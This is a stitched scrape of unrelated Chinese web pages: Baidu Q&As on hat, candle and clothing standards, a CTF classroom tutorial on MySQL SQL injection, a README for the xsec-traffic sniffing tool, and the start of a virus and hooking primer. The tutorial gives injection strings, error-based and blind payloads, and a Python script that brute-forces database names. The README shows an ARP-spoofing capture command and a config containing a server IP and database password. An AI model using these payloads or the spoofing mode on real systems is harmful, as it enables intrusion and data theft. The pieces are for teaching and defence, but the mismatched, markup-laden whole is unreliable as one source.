谁能提供帽子最新的执行标准 安全类别和安全类别,可以的话写详细一些

YXAD提示信息香薰类产品,比如精油,香薰蜡烛等等,有没有执行标准和安全类别的,有的话分别是什么,请提供下 急急急!!!!!_百度知道
香薰类产品,比如精油,香薰蜡烛等等,有没有执行标准和安全类别的,有的话分别是什么,请提供下 急急急!!!!!
我有更好的答案
应编制企业标准作为产品的执行标准。
标准化工程师
为您推荐:
其他类似问题
香薰蜡烛的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。新买的一件衣服上面这样写的“执行标准TB/T 安全技术类别GB B类”可以穿吗?安全吗?_百度知道
新买的一件衣服上面这样写的“执行标准TB/T 安全技术类别GB B类”可以穿吗?安全吗?
我有更好的答案
如果您所买的这件衬衫都符合这两个标准那当然是没什么问题。但如果衣服的标签上真是写着TB&#47,B类是指直接接触皮肤类TB/T?应该是GB/T吧,这个是衬衫的标准;T的话那就要注意咯,这可能是伪造产品或者什么测试都没做过。GB
B类是国家纺织产品基本安全技术规范标准
采纳率:64%
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。喜欢帽子的朋友,谁能告诉我这个帽子哪里能买到,可以的话顺便发一下货号,谢谢_百度知道
喜欢帽子的朋友,谁能告诉我这个帽子哪里能买到,可以的话顺便发一下货号,谢谢
我有更好的答案
看着眼熟的感觉.
可以去淘宝找一找.
采纳率:17%
有需要吗,我是做帽子的。只要有图,我就能给你生产!
您能告诉我货号么?
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。&figure&&img src=&/v2-a6bc9d216f8dd19fd6bfb87_b.jpg& data-rawwidth=&640& data-rawheight=&320& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/v2-a6bc9d216f8dd19fd6bfb87_r.jpg&&&/figure&&p&大家好,我是H1TerHub的Rman,一直以来对网络安全十分感兴趣,今年在学校里成立H1TerHub战队,主打CTF的赛事。由于很多同学都是刚刚接触网络安全和CTF,于是就开了一些课,帮助他们入门和接触这个赛事。&/p&&p&于是乎就有把上课用的PPT编辑下分享给大家的想法。争取按照我们上课的进度,每周一更,希望能让更多的人了解这个比赛,也希望能跟大家共同交流学习。&/p&&p&本人也只是对CTF略有了解,文章也多改自网上各位师傅们的博客,当中也许会有错误,还望各位师傅指点。&/p&&p&&br&&/p&&h2&0X01 SQL注入的种类&/h2&&p&o▲基于错误的SQL注入&/p&&p&o▲联合查询的类型&/p&&p&o▲堆查询注射&/p&&p&o▲SQL盲注o&/p&&p&
o基于布尔SQL盲注&/p&&p&
o基于时间的SQL盲注&/p&&p&
o基于报错的SQL盲注&/p&&p&&br&&/p&&p&o基于如何处理输入的SQL查询(数据类型)&/p&&p&
o基于字符串&/p&&p&
o数字或整数为基础的&/p&&p&&br&&/p&&p&基于程度和顺序的注入(哪里发生了影响)&/p&&p&
★一阶注射&/p&&p&
★二阶注射&/p&&p&&br&&/p&&p&&br&&/p&&p&一阶注射是指输入的注射语句对WEB直接产生了影响,出现了结果;&/p&&p&&br&&/p&&figure&&img src=&/v2-ebaaafca9dffb3_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&958& data-rawheight=&257& class=&origin_image zh-lightbox-thumb& width=&958& data-original=&/v2-ebaaafca9dffb3_r.jpg&&&/figure&&p&o二阶注入类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响,通过其它的辅助间接的对WEB产生危害,这样的就被称为是二阶注入.&/p&&p&&br&&/p&&p&o基于注入点的位置上的&/p&&p&
o▲通过用户输入的表单域的注射。&/p&&p&
o传统的POST/GET&/p&&p&
o▲通过cookie注射。&/p&&p&
oCookie=XXXXXXXX&/p&&p&
o▲通过服务器变量注射。(基于头部信息的注射)&/p&&p&
oUseragent=&/p&&figure&&img src=&/v2-c18c7ab76fa3d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&460& data-rawheight=&254& class=&origin_image zh-lightbox-thumb& width=&460& data-original=&/v2-c18c7ab76fa3d_r.jpg&&&/figure&&p&&br&&/p&&h2&0X02系统函数&/h2&&p&o介绍几个常用函数:&/p&&p&o1.version()——MySQL版本&/p&&figure&&img src=&/v2-bc69e2c3ece8f2e0c31472_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&221& data-rawheight=&119& class=&content_image& width=&221&&&/figure&&p&o2.user()——数据库用户名&/p&&figure&&img src=&/v2-650d979d8c16d5ad31bf89c2a586203a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&202& data-rawheight=&114& class=&content_image& width=&202&&&/figure&&p&o3.database()——数据库名&/p&&figure&&img src=&/v2-196e2a12e7f3296eb9fbf240371bda6d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&216& data-rawheight=&110& class=&content_image& width=&216&&&/figure&&p&o4.@@datadir——数据库路径&/p&&figure&&img src=&/v2-fc80c4b8a4c3b33cf5992acb82e396d6_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&237& data-rawheight=&120& class=&content_image& width=&237&&&/figure&&p&&br&&/p&&p&o5.@@version_compile_os——操作系统版本&/p&&figure&&img src=&/v2-3765d2fab17c06ea7f83ca4a3d6c151a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&288& data-rawheight=&129& class=&content_image& width=&288&&&/figure&&p&&br&&/p&&p&字符串连接函数函数具体介绍&br&&br&o&a href=&/?target=http%3A///lcamry/p/5715634.html& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&/lcamry/p/57&/span&&span class=&invisible&&15634.html&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&o1.concat(str1,str2,...)——没有分隔符地连接字符串2.concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串3.group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据&/p&&p&o&/p&&p&说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了&/p&&p&&br&&/p&&h2&0X03 注入流程&/h2&&figure&&img src=&/v2-c3bbb1ce6c9b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1174& data-rawheight=&382& class=&origin_image zh-lightbox-thumb& width=&1174& data-original=&/v2-c3bbb1ce6c9b_r.jpg&&&/figure&&p&&br&&/p&&p&o我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。&/p&&p&获取数据库——数据表——列——数据&br&&br&&br&&/p&&p&&br&&/p&&p&在可以提交的参数后添加:&/p&&p&oPs:--+可以用#替换,url提交过程中Url编码后的#为%23&/p&&p&oor1=1--+&/p&&p&o'or1=1--+&/p&&p&o&or1=1--+&/p&&p&o)or1=1--+&/p&&p&o')or1=1--+&/p&&p&o&)or1=1--+&/p&&p&o&))or1=1--+&/p&&p&o一般的代码为:$id=$_GET['id'];$sql=&SELECT*FROMusersWHEREid='$id'LIMIT0,1&;&/p&&p&o此处考虑两个点,一个是闭合前面你的‘另一个是处理后面的‘,一般采用两种思路,闭合后面的引号或者注释掉,注释掉采用--+或者#(%23)&/p&&p&&b&Step1:找出数据库&/b&&/p&&p&o数据库:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&Select schema_name from information_schema.schemata
&/code&&/pre&&/div&&p&&br&&/p&&figure&&img src=&/v2-4e85ec34eef6eff65d9d9c65c5f983d5_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&612& data-rawheight=&402& class=&origin_image zh-lightbox-thumb& width=&612& data-original=&/v2-4e85ec34eef6eff65d9d9c65c5f983d5_r.jpg&&&/figure&&p&&b&Step2:表&/b&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&select table_name from information_schema.tables where table_schema=‘security’;
&/code&&/pre&&/div&&p&//假设数据库名字为security&/p&&figure&&img src=&/v2-3de621ccac73cf_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&730& data-rawheight=&170& class=&origin_image zh-lightbox-thumb& width=&730& data-original=&/v2-3de621ccac73cf_r.jpg&&&/figure&&p&&b&Step3:列&/b&&/p&&p&o猜某表的所有列&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&oSelect column_name from information_schema.columns where table_name=’users’
&/code&&/pre&&/div&&p&假设表名为users&/p&&figure&&img src=&/v2-7eec11fd27d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&720& data-rawheight=&194& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&/v2-7eec11fd27d_r.jpg&&&/figure&&p&&b&Step4获取内容:&/b&&/p&&p&o获取某列的内容&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&oSelect *** from ****
&/code&&/pre&&/div&&p&&b&information_schema的说明&/b& &/p&&p&oinformation_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。&/p&&p&o在MySQL中,把&br&information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权&br&限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。&/p&&p&&br&&/p&&p&&b&information_schema数据库表说明:&/b&&/p&&p&oSCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。&/p&&p&oTABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schema.name的结果取之此表。&/p&&p&oCOLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。&/p&&p&&br&&/p&&h2&0X04盲注&/h2&&p&o何为盲注?&/p&&p&o盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。&/p&&p&o此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。&/p&&p&o我们可以知道盲注分为三类&/p&&p&
o基于布尔SQL盲注&/p&&p&
o基于时间的SQL盲注&/p&&p&
o基于报错的SQL盲注&br&&br&&/p&&h2&0X05基于布尔SQL盲注----构造逻辑判断&/h2&&p&&b&o首先介绍基本函数:&/b&&/p&&p&
oleft(a,x) 从字符串a中截取前x位&/p&&p&
osubstr(a,b,c) 从字符串a中b位置开始截取c长度&/p&&p&
oascii(a) 把字符a转换成ascii码。&/p&&p&
o mid(a,b,c) 从字符串a的b位开始截取c位长度&/p&&p&
oord(a)同ascii作用&br&&/p&&p&&b&盲注的语句&/b&&/p&&p&o1、利用ascii和substr&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&oascii(substr((select table_name from
information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 --+
&/code&&/pre&&/div&&p&o加粗为substr的字符串a,substr(a,1,1)返回table_name的首字符x。&/p&&p&o通过ascii(x)转换成ascii码和最后的数字进行比较。根据返回的真假可知道第一个字符。&/p&&p&o同理可以替换成mid和ord函数。&/p&&p&o2.mid和ord函数&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&oORD(MID((select table_name from
information_schema.tables where tables_schema=database() limit 0,1),1,1))&98
&/code&&/pre&&/div&&p&和ascii和substr同理&/p&&p&&br&&/p&&p&&b&注入思路:&/b&&/p&&p&o显然,我们只需从ascii码的1遍历到127即可知道第一位是什么字符了,然后我们再令substr(a,2,1)或者mid(a,2,1),来获取第二位即可。&/p&&p&o至于爆破的思路,我们可以用burpsuite的intruder功能进行爆破&/p&&figure&&img src=&/v2-3cd191b253da_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&510& data-rawheight=&158& class=&origin_image zh-lightbox-thumb& width=&510& data-original=&/v2-3cd191b253da_r.jpg&&&/figure&&figure&&img src=&/v2-2dca7efb7a3b2c083ec37f5fe97c5b1f_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&653& data-rawheight=&330& class=&origin_image zh-lightbox-thumb& width=&653& data-original=&/v2-2dca7efb7a3b2c083ec37f5fe97c5b1f_r.jpg&&&/figure&&figure&&img src=&/v2-d207e24d969cf59aba50_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&758& data-rawheight=&144& class=&origin_image zh-lightbox-thumb& width=&758& data-original=&/v2-d207e24d969cf59aba50_r.jpg&&&/figure&&p&o或者自己编写脚本。(这只是个样例)&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&import requests
#global baseurl = 'http://127.0.0.1/sqli-labs/Less-5/'
def get_databases():
for i in range(1,100):
baseurl = 'http://127.0.0.1/sqli-labs/Less-5/'
url=baseurl+'?id=1\' and (length(database()))='+i+' --+'
#print url
response = requests.get(url,timeout=5)
if 'You are in' in response.content:
len=int(i);
except Exception,e:
print &databases lenth is &+str(len)
urlt=baseurl+&?id=1' and (ascii(substr(database(),{0},1)))={1}--+&
for i in range(1,len+1):
for char in range(0,127):
url=urlt.format(i,char)
response = requests.get(url,timeout=5)
if 'You are in' in response.content:
result += chr(char)
print result+'\n'
except Exception,e:
print &databases is &+result
#return result
if __name__=='__main__':
get_databases()
&/code&&/pre&&/div&&p&o3、regexp正则注入&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&oselect user() regexp '^[a-z]';
&/code&&/pre&&/div&&p&o&/p&&p&oExplain:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。第二位可以用select user() regexp '^ro'来进行。&/p&&p&ops:^这个符号在正则中表示从头开始匹配,其实和substr(1,1)类似&/p&&figure&&img src=&/v2-16fae57b3bfaf9ad87e3ffdc43ee44d8_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&620& data-rawheight=&220& class=&origin_image zh-lightbox-thumb& width=&620& data-original=&/v2-16fae57b3bfaf9ad87e3ffdc43ee44d8_r.jpg&&&/figure&&p&当正确的时候显示结果为1,不正确的时候显示结果为0。&/p&&p&利用这个特点我们可以增加一个判断来使我们了解返回值是否为真。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&select * from users where d=1 and 1= (user() regexp'^ri');
&/code&&/pre&&/div&&p&如果返会1则1=1查询执行,如果返回0则1=0查询不执行。&/p&&p&&br&&/p&&h2&0X05基于报错的SQL盲注------构造payload让信息通过错误提示回显出来&/h2&&p&&br&&/p&&p&o1、&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&oSelect
1, count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a
from information_schema.
&/code&&/pre&&/div&&figure&&img src=&/v2-ab42d24c3d33b58c9389d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1103& data-rawheight=&97& class=&origin_image zh-lightbox-thumb& width=&1103& data-original=&/v2-ab42d24c3d33b58c9389d_r.jpg&&&/figure&&p&不一定要掌握原理,但是可以套用公式,只需把select user()换成你想执行的语句即可,但是必须返回值是一个字符串。&/p&&p&原理解释:&a href=&/?target=http%3A///wt& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/wt7315/1&/span&&span class=&invisible&&891458&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&o2、&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&oselect
updatexml(1,concat(0x3a,(select @@version),0x3a),1);
&/code&&/pre&&/div&&figure&&img src=&/v2-91b1a7be1c3e8cf6939d4e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&899& data-rawheight=&109& class=&origin_image zh-lightbox-thumb& width=&899& data-original=&/v2-91b1a7be1c3e8cf6939d4e_r.jpg&&&/figure&&p&oupdatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。&/p&&p&oupdatexml的最大长度是32位的,所以有所局限(PS:但是应对大多的已经足够。)如果密码长度超过了32位就不会被显示出来。&/p&&figure&&img src=&/v2-c33ee653c0f68ea7c67fb_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1167& data-rawheight=&144& class=&origin_image zh-lightbox-thumb& width=&1167& data-original=&/v2-c33ee653c0f68ea7c67fb_r.jpg&&&/figure&&p&o此处3后面还有密码但是未显示。&/p&&p&&br&&br&&br&引用:&/p&&p&o&a href=&/?target=http%3A///wt& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/wt7315/1&/span&&span class=&invisible&&891458&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&o&a href=&/?target=http%3A//m.jb51.net/article/93445.htm& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&m.jb51.net/article/9344&/span&&span class=&invisible&&5.htm&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&SQL注入天书:&a href=&/?target=http%3A///lcamry/p/5763169.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&MYSQL注入天书之开天辟地 - lcamry - 博客园&i class=&icon-external&&&/i&&/a&&/p&
大家好,我是H1TerHub的Rman,一直以来对网络安全十分感兴趣,今年在学校里成立H1TerHub战队,主打CTF的赛事。由于很多同学都是刚刚接触网络安全和CTF,于是就开了一些课,帮助他们入门和接触这个赛事。于是乎就有把上课用的PPT编辑下分享给大家的想法。争…
&figure&&img src=&/v2-87e6ae93dc056b493fa2b_b.jpg& data-rawwidth=&3312& data-rawheight=&1928& class=&origin_image zh-lightbox-thumb& width=&3312& data-original=&/v2-87e6ae93dc056b493fa2b_r.jpg&&&/figure&&h2&概述&/h2&&p&xsec-traffic为一款轻量级的恶意流量分析程序,包括传感器sensor和服务端server 2个组件。&/p&&h2&sensor&/h2&&p&sensor负责采集流量,然后发到server端,由server来检测是否为恶意流量。&/p&&ol&&li&sensor支持采集TCP和UDP的五元组信息&/li&&li&支持采集http请求信息&/li&&li&支持采集同一局域网中其他机器的以上信息&/li&&/ol&&h2&Server&/h2&&p&server端的功能为接收各sensor采集到的流程并判断是否为恶意流量,其中:&/p&&ol&&li&IP五元组信息是通过查询恶意IP库来判断的&/li&&li&http请求数据的检测还在开发中(暂时会把所有取到的请求信息保存起来,理论上可支持检测所有来自WEB端的攻击类型,如注入、xss等)&/li&&/ol&&h2&使用说明&/h2&&h2&Server&/h2&&p&server需要mongodb的支持,在启动前需要事先准备一个有读写权限的mongodb账户,然后修改当前目录下的配置文件conf/app.ini,样例如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&HTTP_HOST = 108.61.223.105
HTTP_PORT = 4433
DEBUG_MODE = TRUE
SECRET_KEY = xsec_secret_key
[EVIL-IPS]
API_URL = &http://www.xsec.io:8000&
[database]
DB_TYPE = mongodb
DB_HOST = 127.0.0.1
DB_PORT = 27017
DB_USER = xsec-traffic
DB_PASS = 40787fasdfa5b0a9fe0
DB_NAME = xsec-traffic
&/code&&/pre&&/div&&ol&&li&HTTP_HOST和HTTP_PORT表示server端监听的地址及端口&/li&&li&DEBUG_MODE表示以debug模式运行&/li&&li&SECRET_KEY为sensor与server通讯用的密钥&/li&&li&EVIL-IPS部分为恶意IP库的地址&/li&&li&database部分为mongodb的配置&/li&&/ol&&p&启动命令如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&root@xsec:/data/golang/src/xsec-traffic/server# ./server
INFO xsec traffic server: DB Type: mongodb, Connect err status: &nil&
xsec traffic server - xsec traffic server
server [global options] command [command options] [arguments...]
netxfly &x@xsec.io&
startup xsec traffic server
Shows a list of commands or help for one command
GLOBAL OPTIONS:
--debug, -d
debug mode
--server value, -s value
http server address
--port value, -p value
http port (default: 1024)
--help, -h
--version, -v
print the version
root@xsec:/data/golang/src/xsec-traffic/server# ./server serve
INFO xsec traffic server: DB Type: mongodb, Connect err status: &nil&
INFO xsec traffic server: run server on 108.61.223.105:4433
&/code&&/pre&&/div&&ol&&li&serve参数表示直接启动server服务器。&/li&&/ol&&h2&sensor&/h2&&p&sensor端也支持配置,修改当前目前下的conf/app.ini即可,详细的配置项如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&; Sensor global config
DEVICE_NAME = en0
DEBUG_MODE = true
FILTER_RULE = tcp udp
API_URL = http://108.61.223.105:4433
API_KEY = xsec_secret_key
&/code&&/pre&&/div&&ol&&li&DEVICE_NAME表示需要采集流量的网卡名&/li&&li&DEBUG_MODE为Debug模式,正式使用时可关掉&/li&&li&FILTER_RULE为流量抓取规则,与wireshark的规则一致&/li&&/ol&&p&sensor的命令行如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&$ ./xsec_sensor
INFO xsec traffic sensor: Device name:[en0], ip addr:[192.168.31.204], Debug mode:[true]
xsec traffic sensor - xsec traffic sensor, Support normal and arp spoof modes
xsec_sensor [global options] command [command options] [arguments...]
AUTHOR(S):
netxfly &x@xsec.io&
startup xsec traffic sensor
startup arp spoof mode
Shows a list of commands or help for one command
GLOBAL OPTIONS:
--debug, -d
debug mode
--filter value, -f value
setting filters
--length value, -l value
setting snapshot Length (default: 1024)
--target value, -t value
target ip address
--gateway value, -g value
gateway ip address
--help, -h
--version, -v
print the version
&/code&&/pre&&/div&&ol&&li&start 表示直接只采集本地的流量&/li&&li&arp模式为arpspoof模式,可以采集同一局域网下的其他机器的流量,详细的命令行如下:&/li&&/ol&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&sudo ./xsec_sensor arp -t 192.168.31.215 -g 192.168.31.1
&/code&&/pre&&/div&&p&在启动前需要安装libpcap库并将内核参数设为允许转发,以下为3种OS的安装、设置方法:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&# OSX
sudo sysctl net.inet.ip.forwarding=1
sudo sysctl -w net.inet.ip.forwarding=1
sudo sysctl -w net.ipv4.ip_forward=1
sudo dnf install -y libpcap-devel
# Debian/Ubuntu
sudo apt-get install -y libpcap-dev
brew install libpcap
sudo pkg install libpcap
&/code&&/pre&&/div&&p&需要指定采集的目标与网关,其中采集的目标的语法与nmap的一致,支持以下几种写法:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&10.0.0.1
10.0.0.0/24
10.0.0.1-10
10.0.0.1, 10.0.0.5-10, 192.168.1.*, 192.168.10.0/24
&/code&&/pre&&/div&&h2&实战演练&/h2&&ul&&li&启动server端&/li&&/ul&&figure&&img src=&/v2-7f9da2c87a7a5a3222572fed6bc31c4a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&708& data-rawheight=&487& class=&origin_image zh-lightbox-thumb& width=&708& data-original=&/v2-7f9da2c87a7a5a3222572fed6bc31c4a_r.jpg&&&/figure&&ul&&li&以正常模式启动sensor端&/li&&/ul&&figure&&img src=&/v2-87e6ae93dc056b493fa2b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&3312& data-rawheight=&1928& class=&origin_image zh-lightbox-thumb& width=&3312& data-original=&/v2-87e6ae93dc056b493fa2b_r.jpg&&&/figure&&p&启动后可以看到我本地电脑的有道云音乐正在对外发包。&/p&&ul&&li&在小米路由器中查到我Mix2手机的IP地址如下:&/li&&/ul&&figure&&img src=&/v2-17b61ce4d4b0d715bd97f924e393d24e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&872& data-rawheight=&1104& class=&origin_image zh-lightbox-thumb& width=&872& data-original=&/v2-17b61ce4d4b0d715bd97f924e393d24e_r.jpg&&&/figure&&ul&&li&将我的Mix2手机手工加到恶意IP库中&/li&&/ul&&figure&&img src=&/v2-bf722a75a7c5e2b10a02a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&3298& data-rawheight=&1766& class=&origin_image zh-lightbox-thumb& width=&3298& data-original=&/v2-bf722a75a7c5e2b10a02a_r.jpg&&&/figure&&ul&&li&以Arp模式启动,用电脑采集同一lan下Mix2手机的流量&/li&&/ul&&figure&&img src=&/v2-a194b3bc0be5_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&3308& data-rawheight=&1878& class=&origin_image zh-lightbox-thumb& width=&3308& data-original=&/v2-a194b3bc0be5_r.jpg&&&/figure&&ul&&li&可以通过server的简易后台看到检测结果:&/li&&/ul&&figure&&img src=&/v2-c264c22fc84bae204ec146c626be093d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1679& data-rawheight=&1050& class=&origin_image zh-lightbox-thumb& width=&1679& data-original=&/v2-c264c22fc84bae204ec146c626be093d_r.jpg&&&/figure&&p&以下为http 全部的请求记录,等检测功能开发完后会改为只记录疑似攻击的请求。&/p&&figure&&img src=&/v2-fac870be0d4b9ad9bfefc6_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1680& data-rawheight=&1051& class=&origin_image zh-lightbox-thumb& width=&1680& data-original=&/v2-fac870be0d4b9ad9bfefc6_r.jpg&&&/figure&&p&&br&&/p&&h2&参考资料&/h2&&ol&&li&&a href=&/?target=https%3A///google/gopacket/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/google/gopac&/span&&span class=&invisible&&ket/&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/li&&li&&a href=&/?target=https%3A///malfunkt/arpfox& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/malfunkt/arp&/span&&span class=&invisible&&fox&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/li&&li&&a href=&/?target=http%3A///content/packet-capture-injection-and-analysis-gopacket& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&/content/&/span&&span class=&invisible&&packet-capture-injection-and-analysis-gopacket&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/li&&/ol&&p&项目地址:&a href=&/?target=https%3A///netxfly/xsec-traffic& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&netxfly/xsec-traffic&i class=&icon-external&&&/i&&/a&&/p&
概述xsec-traffic为一款轻量级的恶意流量分析程序,包括传感器sensor和服务端server 2个组件。sensorsensor负责采集流量,然后发到server端,由server来检测是否为恶意流量。sensor支持采集TCP和UDP的五元组信息支持采集http请求信息支持采集同一局域网中其…
&figure&&img src=&/v2-6eca98d80c0ddacbfa2cb8a7dc8fabd9_b.jpg& data-rawwidth=&867& data-rawheight=&471& class=&origin_image zh-lightbox-thumb& width=&867& data-original=&/v2-6eca98d80c0ddacbfa2cb8a7dc8fabd9_r.jpg&&&/figure&&blockquote&作者:immenma(传闻中的女黑客)&br&来源:i春秋社区&/blockquote&&ul&&li&------------&b&理论基础篇目录&/b&------------ &/li&&li&从科幻小说说起:
&/li&&li&危险的潘多拉盒子
&/li&&li&来说说应用程序编程接口
&/li&&li&工欲善其事必先利其器
&/li&&li&(*)正确地作死
&/li&&li&(*)被劫持的应用程序接口
&/li&&li&(***)Hook与QQ密码的战争
&/li&&li&(***)DLL注入与Hook
&/li&&li&1:被篡改的名单,导入表注入
&/li&&li&2 被劫持的OEP
&/li&&li&3.不怀好意的插班生,远程注入
&/li&&li&(**)基于inline Hook的行为监视PeDoll
&/li&&li&(**)调戏&u&&a href=&/?target=http%3A///courses/248& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&木马病毒&i class=&icon-external&&&/i&&/a&&/u&前的准备工作
&/li&&/ul&&p&&br&&/p&&blockquote&&b&正文开始&/b&&/blockquote&&p&&b&从科幻小说说起:&/b&&/p&&p&如果要对病毒讲故事,显然计算机的从业者或者是程序猿总能搬出一大堆的专业术语,他们从一开始的计算机病毒如何破坏,到计算机病毒如何隐藏自己保护自己复制自己总是津津乐道,但显然的,在开篇的文字中我并不打算说的太深入。因为这些太专业的话题对没有相关基础的业外人士并不特别的友好,它除了让人想打瞌睡和让女神感觉你就是个工科男“屌丝”之外,对科普什么是计算机病毒并没有什么帮助。&/p&&p&不过幸运的是,最初的计算机病毒不是程序猿写的,它的出身相当的有文艺范儿,1977年,一个叫雷恩的小说家虚构了一个叫《P-1的青春》的科幻小说,小说中讲述了一种计算机病毒,它能够从第一台传染到另一台,最终控制所有的电脑,当然在那个年代,砖家和叫兽们都认为这是瞎扯淡。
可惜在1988年仅仅过了十年,美国国防部和各大学的6000台计算机,因为一名计算机专业学生编制的计算机病毒而歇菜,显然这一回,砖家和叫兽的脸被打的不轻&/p&&p&那么问题来了,这名学生编写计算机的技巧是哪来的,学编写计算机病毒,哪家强?可惜那年蓝翔还不存在,否者他们会在挖掘机上移植个病毒,让你见识下这玩意有多厉害,但那些年,没有培训班,却流行个游戏叫磁芯大战(Core War)。&/p&&p&正如其名,这游戏在电脑上玩,为了尽量避免涉及更多的专业术语而让文章读起来更有趣味性,我打个并不完全恰当的比方这有点像“养蛊”,有些人相信找来个坛子在坛子里放上各种毒虫,几周以后,坛中的毒虫互相残杀,最后留下来的那只就是所谓的蛊,我不知道这样养出来的玩意是否真有某些神奇功效,但这和磁芯大战确实有不少的相似之处,首先计算机的内存是有限的,你需要做的就是,让你的程序尽量占满这个内存区域,同时避免对对面干掉,当你最终终结了对手把对手从内存中抹除,并且自己占据在内存中,你就获得了胜利。
